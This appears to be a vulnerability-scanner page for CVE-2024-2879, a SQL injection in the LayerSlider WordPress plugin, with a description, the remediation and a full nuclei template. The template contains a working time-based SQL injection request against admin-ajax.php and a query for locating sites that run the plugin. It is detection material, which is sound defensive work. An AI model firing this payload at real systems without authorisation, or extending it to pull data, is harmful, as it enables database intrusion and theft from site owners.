CVE-2024-2879· layerslider / layerslider· CWE-89
WordPress Plugin LayerSlider 7.9.11-7.10.0 - SQL Injection
The LayerSlider plugin for WordPress is vulnerable to SQL Injection via the ls_get_popup_markup action in versions 7.9.11 and 7.10.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
Impact
Authenticated attackers can execute arbitrary SQL queries, potentially extracting sensitive data or compromising the database.
Fix
Update LayerSlider plugin to version 7.10.1 or later.
How to confirm it
Send: GET {{BaseURL}}/wp-content/plugins/LayerSlider/assets/static/public/front.css
Positive when: contains ".ls-clearfix:before"
Send: @timeout: 10s
Positive when: duration>=6 and status_code == 200 and contains(body, "<script>")Run it with nuclei: nuclei -id CVE-2024-2879 -u <target>
The full check
id: CVE-2024-2879
info:
name: WordPress Plugin LayerSlider 7.9.11-7.10.0 - SQL Injection
author: d4ly
severity: high
description: |
The LayerSlider plugin for WordPress is vulnerable to SQL Injection via the ls_get_popup_markup action in versions 7.9.11 and 7.10.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
impact: |
Authenticated attackers can execute arbitrary SQL queries, potentially extracting sensitive data or compromising the database.
remediation: |
Update LayerSlider plugin to version 7.10.1 or later.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2024-2879
- https://www.securityblue.team/blog/posts/Critical-Vulnerability-in-WordPress-Plugin-LayerSlider
- https://www.wordfence.com/blog/2024/04/5500-bounty-awarded-for-unauthenticated-sql-injection-vulnerability-patched-in-layerslider-wordpress-plugin/
- https://layerslider.com/release-log/
- https://www.wordfence.com/threat-intel/vulnerabilities/id/3fddf96e-029c-4753-ba82-043ca64b78d3?source=cve
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2024-2879
cwe-id: CWE-89
epss-score: 0.18402
epss-percentile: 0.97257
cpe: cpe:2.3:a:layerslider:layerslider:7.9.11:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 2
vendor: layerslider
product: layerslider
framework: wordpress
publicwww-query: "/wp-content/plugins/LayerSlider/"
tags: time-based-sqli,cve,cve2024,wp-plugin,wp,wordpress,layerslider,sqli,vuln,vkev
flow: http(1) && http(2)
http:
- method: GET
path:
- "{{BaseURL}}/wp-content/plugins/LayerSlider/assets/static/public/front.css"
matchers:
- type: word
internal: true
words:
- ".ls-clearfix:before"
- raw:
- |
@timeout: 10s
GET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))x)--+x) HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- duration>=6
- status_code == 200
- contains(body, "<script>")
condition: andReferences
- https://nvd.nist.gov/vuln/detail/CVE-2024-2879
- https://www.securityblue.team/blog/posts/Critical-Vulnerability-in-WordPress-Plugin-LayerSlider
- https://www.wordfence.com/blog/2024/04/5500-bounty-awarded-for-unauthenticated-sql-injection-vulnerability-patched-in-layerslider-wordpress-plugin/
- https://layerslider.com/release-log/
- https://www.wordfence.com/threat-intel/vulnerabilities/id/3fddf96e-029c-4753-ba82-043ca64b78d3?source=cve
Use this check only on systems you are authorised to test. Where the data comes from